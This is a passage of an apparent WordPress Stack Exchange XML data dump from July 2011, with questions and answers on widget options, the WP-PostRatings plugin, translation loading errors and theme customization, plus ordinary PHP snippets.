  <row Id="21967" PostTypeId="1" CreationDate="2011-07-04T19:44:02.507" Score="1" ViewCount="28" Body="&lt;p&gt;I'm trying to load a file via require_once() to handle some enhanced functionality in my theme. I could place all the code directly inside functions.php, but I'm trying to isolate this code into its own script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is widget_context.php (see code below) and right now I'm just trying to echo some text back to each widget. It works fine when I do the echo directly from the function that calls the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't get the echo or return (from the widget_context.php file) to show up in the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is inside functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('in_widget_form', 'widget_context');&#xA;&#xA;function widget_context(){&#xA;    //echo works here:&#xA;    //echo 'in widget form'; &#xA;    $widgets_context_file = TEMPLATEPATH . &quot;/widget_context.php&quot;;&#xA;    require_once($widgets_context_file);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the contents of widget_context.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    echo 'place the checkboxes here';&#xA;    return 'place the checkboxes here';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-07-04T19:49:26.713" LastActivityDate="2011-07-04T19:49:26.713" Title="File included into functions.php via require_once() won't echo?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" />
  <row Id="21968" PostTypeId="2" ParentId="21964" CreationDate="2011-07-04T19:59:35.820" Score="1" ViewCount="" Body="&lt;p&gt;Are you sure you have created that menu and associated it with with &quot;secondary&quot; menu location? Just asking...&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-07-04T19:59:35.820" CommentCount="2" />
  <row Id="21969" PostTypeId="1" CreationDate="2011-07-04T20:17:28.453" Score="0" ViewCount="33" Body="&lt;p&gt;I found a number of plugins to rename a custom fields and also some posts about how to do it by doing stuff directly in the database. Is it possible to achieve it more simply than that ? &lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-07-04T20:17:28.453" Title="Renaming custom fields" Tags="&lt;custom-field&gt;&lt;customization&gt;" />
  <row Id="21970" PostTypeId="1" AcceptedAnswerId="21972" CreationDate="2011-07-04T20:24:23.480" Score="0" ViewCount="35" Body="&lt;p&gt;I'm using the up/down voting feature of this plugin and would like to not allow people to 'down vote'. So basically, if they like the post, they vote it up, and if not, they leave it how it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this possible?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-04T20:28:21.907" LastActivityDate="2011-07-04T20:56:13.100" Title="Any way to change WP-PostRatings so you can only vote up?" Tags="&lt;plugins&gt;&lt;plugin-wp-postratings&gt;" AnswerCount="1" />
  <row Id="21971" PostTypeId="1" AcceptedAnswerId="21974" CreationDate="2011-07-04T20:49:05.930" Score="1" ViewCount="16" Body="&lt;p&gt;I'm experiencing a somewhat endless loop in the file mo.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-includes/pomo/mo.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when loading the site's default text domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PHP error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Maximum execution time of 30 seconds exceeded in ...\wp-includes\pomo\streams.php on line 62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can work around this by disabling the websites translation, but that's not really helpful. I've updated to the latest wordpress version and the latest version of the translation (de_DE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm somehow puzzled as I never had this problem. The last call in my backtrace consumes nearly 30 seconds. The Function call is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POMO_Reader-&amp;gt;substr( $string = '\000\n&amp;lt;h1&amp;gt;Error establishing a database connection&amp;lt;/h1&amp;gt;\n&amp;lt;p&amp;gt;This either means that the username and password information in your &amp;lt;code&amp;gt;wp-config.php&amp;lt;/code&amp;gt; file is incorrect or we can\'t contact the database server at &amp;lt;code&amp;gt;%s&amp;lt;/code&amp;gt;. This could mean your host\'s database server is down.&amp;lt;/p&amp;gt;\n&amp;lt;ul&amp;gt;\n\t&amp;lt;li&amp;gt;Are you sure you have the correct username and password?&amp;lt;/li&amp;gt;\n\t&amp;lt;li&amp;gt;Are you sure that you have typed the correct hostname?&amp;lt;/li&amp;gt;\n\t&amp;lt;li&amp;gt;Are you sure that the database server is running?&amp;lt;/li&amp;gt;\n&amp;lt;/ul&amp;gt;\n&amp;lt;p&amp;gt;If y...', $start = 71131, $length = 8 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody has a thought about that? I'm running on windows and the files served are on a network share. Never had problems with that setup.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-07-04T21:10:30.020" Title="POMO_Reader-&gt;substr() call endless loop?" Tags="&lt;admin&gt;&lt;translation&gt;&lt;po&gt;&lt;mo&gt;&lt;pomo&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21972" PostTypeId="2" ParentId="21970" CreationDate="2011-07-04T20:56:13.100" Score="1" ViewCount="" Body="&lt;p&gt;I just gave a quick look at the plugin and in my opinion it would be easier to tweak the way you use it rather than to tweak the code itself. What you want is basically already existing in the '&lt;strong&gt;Rationg options&lt;/strong&gt;', it's the &lt;strong&gt;heart&lt;/strong&gt; option that only allow the user to do a like, or 'up vote', which is just the same. You then just have to change the picture of the heart  for the arrow one and then have a look at the 'Ratings template' to achieve what you need.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-04T20:56:13.100" CommentCount="1" />
  <row Id="21973" PostTypeId="2" ParentId="21960" CreationDate="2011-07-04T21:02:41.940" Score="1" ViewCount="" Body="&lt;p&gt;Css syntax wrong here: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td style=&quot;background-image:url(/wp-content/plugins/xxxxxxwidget/image2.png) no-repeat center;&quot; WIDTH=&quot;250&quot; HEIGHT=&quot;45&quot; colspan=&quot;3&quot;&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'&lt;strong&gt;background-image&lt;/strong&gt;' accepts only an url, no other parameters such as &lt;code&gt;no-repeat&lt;/code&gt; and &lt;code&gt;center&lt;/code&gt;.&#xA;Use instead: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td style=&quot;background:url(/wp-content/plugins/xxxxxxwidget/image2.png) no-repeat center;&quot; WIDTH=&quot;250&quot; HEIGHT=&quot;45&quot; colspan=&quot;3&quot;&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should help.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-04T21:02:41.940" CommentCount="2" />
  <row Id="21974" PostTypeId="2" ParentId="21971" CreationDate="2011-07-04T21:10:30.020" Score="1" ViewCount="" Body="&lt;p&gt;I was able to fix the problem by switching the xdebug extension. I had a vc9-nts version installed and switched to vc6-nts which solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-07-04T21:10:30.020" />
  <row Id="21975" PostTypeId="1" AcceptedAnswerId="21977" CreationDate="2011-07-04T21:32:10.323" Score="1" ViewCount="57" Body="&lt;p&gt;I'm working on a simple addition to the widget options to allow the user to set the &quot;context&quot; in which widgets show be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got so far, with my questions in the comments...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Append the widget form to all widgets...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('in_widget_form', 'wse_widget_context_form');&#xA;&#xA;function wse_widget_context_form($widget){&#xA;//echo 'the widget id is: '.$widget-&amp;gt;id;&#xA;//do we need to reference the widget-&amp;gt;id to avoid variable overwrites on multiple widgets?&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wse_context&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;Hide this widget on: &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li id='home'&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noHome&quot; id=&quot;noHome&quot;&amp;lt;?php if(isset($noHome)) echo $noHome ?&amp;gt; /&amp;gt; home&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt; &#xA;        &amp;lt;li id='posts'&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noPosts&quot; id=&quot;noPosts&quot;&amp;lt;?php if(isset($noPosts)) echo $noPosts ?&amp;gt; /&amp;gt; posts&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li id='pages'&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noPages&quot; id=&quot;noPages&quot;&amp;lt;?php if(isset($noPages)) echo $noPages ?&amp;gt; /&amp;gt; pages&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li id='cats'&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input value=&quot;on&quot; type=&quot;checkbox&quot; name=&quot;noCats&quot; id=&quot;noCats&quot;&amp;lt;?php if(isset($noCats)) echo $noCats ?&amp;gt; /&amp;gt; categories&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Create a callback function to handle when widgets are saved...(so far, this is the part I'm stuck on)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('widget_update_callback', 'wse_widget_context_callback');&#xA;&#xA;add_filter('widget_update_callback', 'wse_widget_context_callback');&#xA;function wse_widget_context_callback($instance, $new_instance, $old_instance){&#xA;    echo 'instance: '.$instance.'&amp;lt;br/&amp;gt;'; // returns array&#xA;    echo 'new_instance: '.$new_instance.'&amp;lt;br/&amp;gt;'; //returns ''&#xA;    echo 'old_instance: '.$old_instance.'&amp;lt;br/&amp;gt;'; //returns ''&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Show/Hide widget based on widget settings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('widget_display_callback', 'wse_widget_display_callback');&#xA;&#xA;function wse_widget_display_callback()&#xA;{&#xA;//how do I read the values and unset widgets as appopriate?&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-07-05T00:38:04.700" LastActivityDate="2011-07-05T00:38:04.700" Title="Context aware widgets. My work in progress" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21976" PostTypeId="1" CreationDate="2011-07-04T21:49:51.367" Score="0" ViewCount="65" Body="&lt;p&gt;I'm working on a website for a company for my summer internship.  The site is uses wordpress and a theme called Vulcan.&#xA;You can see the theme here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp-demo.indonez.com/Vulcan/&quot; rel=&quot;nofollow&quot;&gt;http://wp-demo.indonez.com/Vulcan/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeforest.net/item/vulcan-minimalist-business-wordpress-theme-4/full_screen_preview/111625&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/vulcan-minimalist-business-wordpress-theme-4/full_screen_preview/111625&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering how to manipulate or make the image from the homepage into the slideshow format that you see in the above examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the website I am working on , it has the large image in the homepage, but I am unsure how to alter its settings and make it a slideshow with the features you see above.  I am aware there are plugins which allow for slideshow functionality, but I don't know if that's my best bet if the photo is already built into the theme.  I also know how to code my own slideshow using jquery and js but again, I don't think that will help me here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any wp users out there with the vulcan theme , or just know how I can achieve the desired slideshow?  Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6451" LastEditorUserId="6451" LastEditorDisplayName="" LastEditDate="2011-07-04T22:00:38.623" LastActivityDate="2011-07-04T22:00:38.623" Title="Utilizing a Slideshow with a Vulcan themed Wordpress Site" Tags="&lt;themes&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;image&gt;&lt;slideshow&gt;" />
  <row Id="21977" PostTypeId="2" ParentId="21975" CreationDate="2011-07-04T22:15:03.783" Score="4" ViewCount="" Body="&lt;p&gt;Just like you would from a widget() method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wse_widget_display_callback($instance)&#xA;{&#xA;&#xA;   $show_it = true;&#xA;   if(isset($instance['noHome']) &amp;amp;&amp;amp; $instance['noHome'] &amp;amp;&amp;amp; is_home()) $show_it = false;&#xA;   if(isset($instance['noPages']) &amp;amp;&amp;amp; $instance['noPages'] &amp;amp;&amp;amp; is_page()) $show_it = false;&#xA;   ...&#xA;&#xA;   if($show_it)&#xA;     return $instance;&#xA;&#xA;   else&#xA;     return false;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've posted &lt;a href=&quot;http://codepad.org/gf0CWGn3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; the functions I use to accomplish this, it might be helpful. The form hooks are &lt;a href=&quot;http://codepad.org/XYxVWH3Q&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but they are part of a class...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-04T22:15:03.783" CommentCount="6" />
  <row Id="21978" PostTypeId="1" CreationDate="2011-07-04T22:38:56.940" Score="0" ViewCount="66" Body="&lt;p&gt;I ran an autoupgrade to WordPress to version 3.2. The status of the upgrade process reported that everything completely without a problem. However, when I navigate to either my admin or local site, I receive the error message on Chrome: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server error&#xA;The website encountered an error while retrieving http://localhost:8888/. It may be down for maintenance or configured incorrectly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5946" LastActivityDate="2011-07-04T22:38:56.940" Title="MAMP OSX Server Error after upgrading to WordPress 3.2" Tags="&lt;upgrade&gt;&lt;wordpress.org&gt;" CommentCount="1" />
  <row Id="21979" PostTypeId="2" ParentId="21798" CreationDate="2011-07-04T23:04:04.013" Score="0" ViewCount="" Body="&lt;p&gt;I have a new answer for this, use my brand new plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&lt;/a&gt;. I hope this helps with this issue.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-04T23:04:04.013" />
  <row Id="21980" PostTypeId="2" ParentId="16524" CreationDate="2011-07-04T23:05:24.877" Score="1" ViewCount="" Body="&lt;p&gt;I just released a plugin to handle this issue. It's up-to-date and I like to think it does things the right way. You can find it here: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing, you just need to enter the order for the taxonomy terms and your terms will be magically sorted. Please give any feedback that you might have!&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-04T23:05:24.877" CommentCount="1" />
  <row Id="21981" PostTypeId="2" ParentId="12256" CreationDate="2011-07-04T23:06:32.947" Score="0" ViewCount="" Body="&lt;p&gt;I have just released a plugin that attempts to tackle this issue: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&lt;/a&gt;. All you do it add the order for the individual terms, much like with pages, and the sorting is magically done for you.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-04T23:06:32.947" />
  <row Id="21982" PostTypeId="2" ParentId="21882" CreationDate="2011-07-05T00:02:38.267" Score="0" ViewCount="" Body="&lt;p&gt;This is the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$tmp_post = $post;&#xA;$args = array( 'numberposts' =&amp;gt; 10000, 'category' =&amp;gt; $e-&amp;gt;cat_ID );&#xA;$myposts = get_posts( $args );&#xA;foreach( $myposts as $post ) : setup_postdata($post);&#xA;    $project_id = (get_post_meta($post-&amp;gt;ID, 'project_code', true) != &quot;&quot;)?get_post_meta($post-&amp;gt;ID, 'project_code', true):&quot;&quot;;&#xA;    $output .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot;&amp;gt;'.$project_id.'-'.get_the_title().'&amp;lt;/option&amp;gt;';    &#xA;endforeach;&#xA;$post = $tmp_post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6379" LastActivityDate="2011-07-05T00:02:38.267" />
  <row Id="21984" PostTypeId="1" CreationDate="2011-07-05T00:21:58.017" Score="0" ViewCount="66" Body="&lt;p&gt;There are several plugins that handle the auto retrieval/display of photos from my personal facebook profile, but i'm looking for one that will work w/ my facebook group. the group is way more active than the actual website and it'd be a bonus for the website to pull more content from FB.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;have already looked at:&#xA;Facebook Photo Fetcher&#xA;Fotobook&lt;/p&gt;&#xA;&#xA;&lt;p&gt;neither would allow me to grant access to the group's photos even though i am an admin.  i'm sure there were a few more but it was a while back and i must have deleted them out of my plugins directory.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastEditorUserId="6477" LastEditorDisplayName="" LastEditDate="2011-07-05T04:03:45.587" LastActivityDate="2011-07-05T07:19:33.743" Title="Looking for Plugin that displays Facebook group's photos" Tags="&lt;plugins&gt;&lt;facebook&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21985" PostTypeId="1" AcceptedAnswerId="21988" CreationDate="2011-07-05T00:26:18.303" Score="0" ViewCount="69" Body="&lt;p&gt;When the user clicks on the &lt;em&gt;vote&lt;/em&gt; image, the image changes to the &lt;em&gt;voted&lt;/em&gt; state. If the user clicks the image in the &lt;em&gt;voted&lt;/em&gt; state again, a message pops up saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You Had Already Rated This Post. Post ID #X&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want it so that this message does not pop up and the 'voted' image stays as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what I believe to be the relevant code needed to make this change. It is from lines 558-633 of &lt;em&gt;wp-postratings.php&lt;/em&gt;. If someone can take a look and let me know what I need to change, I'd be very grateful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### Function: Process Ratings&#xA;process_ratings();&#xA;function process_ratings() {&#xA;    global $wpdb, $user_identity, $user_ID;&#xA;    $rate = intval($_GET['rate']);&#xA;    $post_id = intval($_GET['pid']);&#xA;    if($rate &amp;gt; 0 &amp;amp;&amp;amp; $post_id &amp;gt; 0 &amp;amp;&amp;amp; check_allowtorate()) {      &#xA;        // Check For Bot&#xA;        $bots_useragent = array('googlebot', 'google', 'msnbot', 'ia_archiver', 'lycos', 'jeeves', 'scooter', 'fast-webcrawler', 'slurp@inktomi', 'turnitinbot', 'technorati', 'yahoo', 'findexa', 'findlinks', 'gaisbo', 'zyborg', 'surveybot', 'bloglines', 'blogsearch', 'ubsub', 'syndic8', 'userland', 'gigabot', 'become.com');&#xA;        $useragent = $_SERVER['HTTP_USER_AGENT'];&#xA;        foreach ($bots_useragent as $bot) { &#xA;            if (stristr($useragent, $bot) !== false) {&#xA;                return;&#xA;            } &#xA;        }&#xA;        header('Content-Type: text/html; charset='.get_option('blog_charset').'');&#xA;        postratings_textdomain();&#xA;        $rated = check_rated($post_id);&#xA;        // Check Whether Post Has Been Rated By User&#xA;        if(!$rated) {&#xA;            // Check Whether Is There A Valid Post&#xA;            $post = get_post($post_id);&#xA;            // If Valid Post Then We Rate It&#xA;            if($post &amp;amp;&amp;amp; !wp_is_post_revision($post)) {&#xA;                $ratings_max = intval(get_option('postratings_max'));&#xA;                $ratings_custom = intval(get_option('postratings_customrating'));&#xA;                $ratings_value = get_option('postratings_ratingsvalue');&#xA;                $post_title = addslashes($post-&amp;gt;post_title);&#xA;                $post_ratings = get_post_custom($post_id);&#xA;                $post_ratings_users = intval($post_ratings['ratings_users'][0]);&#xA;                $post_ratings_score = intval($post_ratings['ratings_score'][0]);    &#xA;                // Check For Ratings Lesser Than 1 And Greater Than $ratings_max&#xA;                if($rate &amp;lt; 1 || $rate &amp;gt; $ratings_max) {&#xA;                    $rate = 0;&#xA;                }&#xA;                $post_ratings_users = ($post_ratings_users+1);&#xA;                $post_ratings_score = ($post_ratings_score+intval($ratings_value[$rate-1]));&#xA;                $post_ratings_average = round($post_ratings_score/$post_ratings_users, 2);&#xA;                if (!update_post_meta($post_id, 'ratings_users', $post_ratings_users)) {&#xA;                    add_post_meta($post_id, 'ratings_users', $post_ratings_users, true);&#xA;                }&#xA;                if(!update_post_meta($post_id, 'ratings_score', $post_ratings_score)) {&#xA;                    add_post_meta($post_id, 'ratings_score', $post_ratings_score, true);&#xA;                }&#xA;                if(!update_post_meta($post_id, 'ratings_average', $post_ratings_average)) {&#xA;                    add_post_meta($post_id, 'ratings_average', $post_ratings_average, true);    &#xA;                }&#xA;                // Add Log&#xA;                if(!empty($user_identity)) {&#xA;                    $rate_user = addslashes($user_identity);&#xA;                } elseif(!empty($_COOKIE['comment_author_'.COOKIEHASH])) {&#xA;                    $rate_user = addslashes($_COOKIE['comment_author_'.COOKIEHASH]);&#xA;                } else {&#xA;                    $rate_user = __('Guest', 'wp-postratings');&#xA;                }&#xA;                $rate_userid = intval($user_ID);&#xA;                // Only Create Cookie If User Choose Logging Method 1 Or 3&#xA;                $postratings_logging_method = intval(get_option('postratings_logging_method'));&#xA;                if($postratings_logging_method == 1 || $postratings_logging_method == 3) {&#xA;                    $rate_cookie = setcookie(&quot;rated_&quot;.$post_id, $ratings_value[$rate-1], time() + 30000000, COOKIEPATH);&#xA;                }&#xA;                // Log Ratings No Matter What&#xA;                $rate_log = $wpdb-&amp;gt;query(&quot;INSERT INTO $wpdb-&amp;gt;ratings VALUES (0, $post_id, '$post_title', &quot;.$ratings_value[$rate-1].&quot;,'&quot;.current_time('timestamp').&quot;', '&quot;.get_ipaddress().&quot;', '&quot;.@gethostbyaddr(get_ipaddress()).&quot;' ,'$rate_user', $rate_userid)&quot;);&#xA;                // Output AJAX Result&#xA;                echo the_ratings_results($post_id, $post_ratings_users, $post_ratings_score, $post_ratings_average);&#xA;                exit();&#xA;            } else {&#xA;                printf(__('Invalid Post ID. Post ID #%s.', 'wp-postratings'), $post_id);&#xA;                exit();&#xA;            } // End if($post)&#xA;        } else {&#xA;            printf(__('You Had Already Rated This Post. Post ID #%s.', 'wp-postratings'), $post_id);&#xA;            exit(); &#xA;        }// End if(!$rated)&#xA;    } // End if($rate &amp;amp;&amp;amp; $post_id &amp;amp;&amp;amp; check_allowtorate())&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT: You can find the Plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-05T02:38:51.917" LastActivityDate="2011-07-05T02:41:11.150" Title="How to remove message output for the WP-PostRatings Plugin?" Tags="&lt;plugins&gt;&lt;plugin-wp-postratings&gt;" AnswerCount="1" />
  <row Id="21986" PostTypeId="1" CreationDate="2011-07-05T02:22:27.887" Score="0" ViewCount="21" Body="&lt;p&gt;I have just installed the &quot;Network Admin&quot; and now the links to my articles etc in my original blog are the following &lt;a href=&quot;http://domain.co.nz/subfolder/subfolder/&quot; rel=&quot;nofollow&quot;&gt;http://domain.co.nz/subfolder/subfolder/&lt;/a&gt; instead of  &lt;a href=&quot;http://domain.co.nz/subfolder/&quot; rel=&quot;nofollow&quot;&gt;http://domain.co.nz/subfolder/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How could I resolve this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6740" LastEditorUserId="6740" LastEditorDisplayName="" LastEditDate="2011-07-05T02:57:27.937" LastActivityDate="2011-07-05T02:57:27.937" Title="Network Admin Installed: URL Issue" Tags="&lt;admin&gt;&lt;url-rewriting&gt;&lt;urls&gt;" />
  <row Id="21987" PostTypeId="2" ParentId="13044" CreationDate="2011-07-05T02:23:25.737" Score="1" ViewCount="" Body="&lt;p&gt;I'm trying to do this right now as well. The filter function seems like the best bet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where I'm at now, but I can't seem to get the title of the next or previous post and pass it to the filter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Figured it out. A bit hackey probably, but it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('next_post_link','add_title_to_next_post_link');&#xA;function add_title_to_next_post_link($link) {&#xA;global $post;&#xA;$post = get_post($post_id);&#xA;$next_post = get_next_post();&#xA;$title = $next_post-&amp;gt;post_title;&#xA;$link = str_replace(&quot;rel=&quot;, &quot; title='&quot;.$title.&quot;' rel&quot;, $link);&#xA;return $link;&#xA;}&#xA;&#xA;add_filter('previous_post_link','add_title_to_previous_post_link');&#xA;function add_title_to_previous_post_link($link) {&#xA;global $post;&#xA;$post = get_post($post_id);&#xA;$previous_post = get_previous_post();&#xA;$title = $previous_post-&amp;gt;post_title;&#xA;$link = str_replace(&quot;rel=&quot;, &quot; title='&quot;.$title.&quot;' rel&quot;, $link);&#xA;return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5302" LastEditorUserId="5302" LastEditorDisplayName="" LastEditDate="2011-07-05T02:29:02.627" LastActivityDate="2011-07-05T02:29:02.627" />
  <row Id="21988" PostTypeId="2" ParentId="21985" CreationDate="2011-07-05T02:41:11.150" Score="0" ViewCount="" Body="&lt;p&gt;Just comment out (or change) the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// printf(__('You Had Already Rated This Post. Post ID #%s.', 'wp-postratings'), $post_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you just want to not have the &lt;code&gt;$post_id&lt;/code&gt;, change the line to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_e('You Had Already Rated This Post. Post ID #%s.', 'wp-postratings');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Btw: If you change a plugin and then make an update, all your changes are gone.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-05T02:41:11.150" CommentCount="4" />
  <row Id="21989" PostTypeId="2" ParentId="21965" CreationDate="2011-07-05T02:48:54.650" Score="1" ViewCount="" Body="&lt;p&gt;Sorry, but no. :) You can't simply use the html-button in the wysiwyg-editor. Both are different programms and have nothing in common except for their location. You'd have to unregister the current buttons, write code for a new one (that fits your likings) and then add this one. You'll find hundreds of tutorials for adding buttons to tinyMCE both on google, as here in WPSE.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-05T02:48:54.650" CommentCount="2" />
  <row Id="21990" PostTypeId="1" CreationDate="2011-07-05T03:11:47.037" Score="1" ViewCount="48" Body="&lt;p&gt;I've added a few checkbox options to the default widget form. But I'm stuck on how to access these option states and pass them along during the widget save event (&lt;code&gt;widget_update_callback&lt;/code&gt;) so that they can be saved by WP to the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I pass my custom form values to WP to save as widget options for each widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;p&gt;In the first function, I'm Appending my checkbox options to all widgets control panels...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('in_widget_form', 'wse_widget_context_form');&#xA;&#xA;function wse_widget_context_form(){&#xA;&#xA;$checked = ' checked=&quot;checked&quot;';&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wse_context&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;Don't show 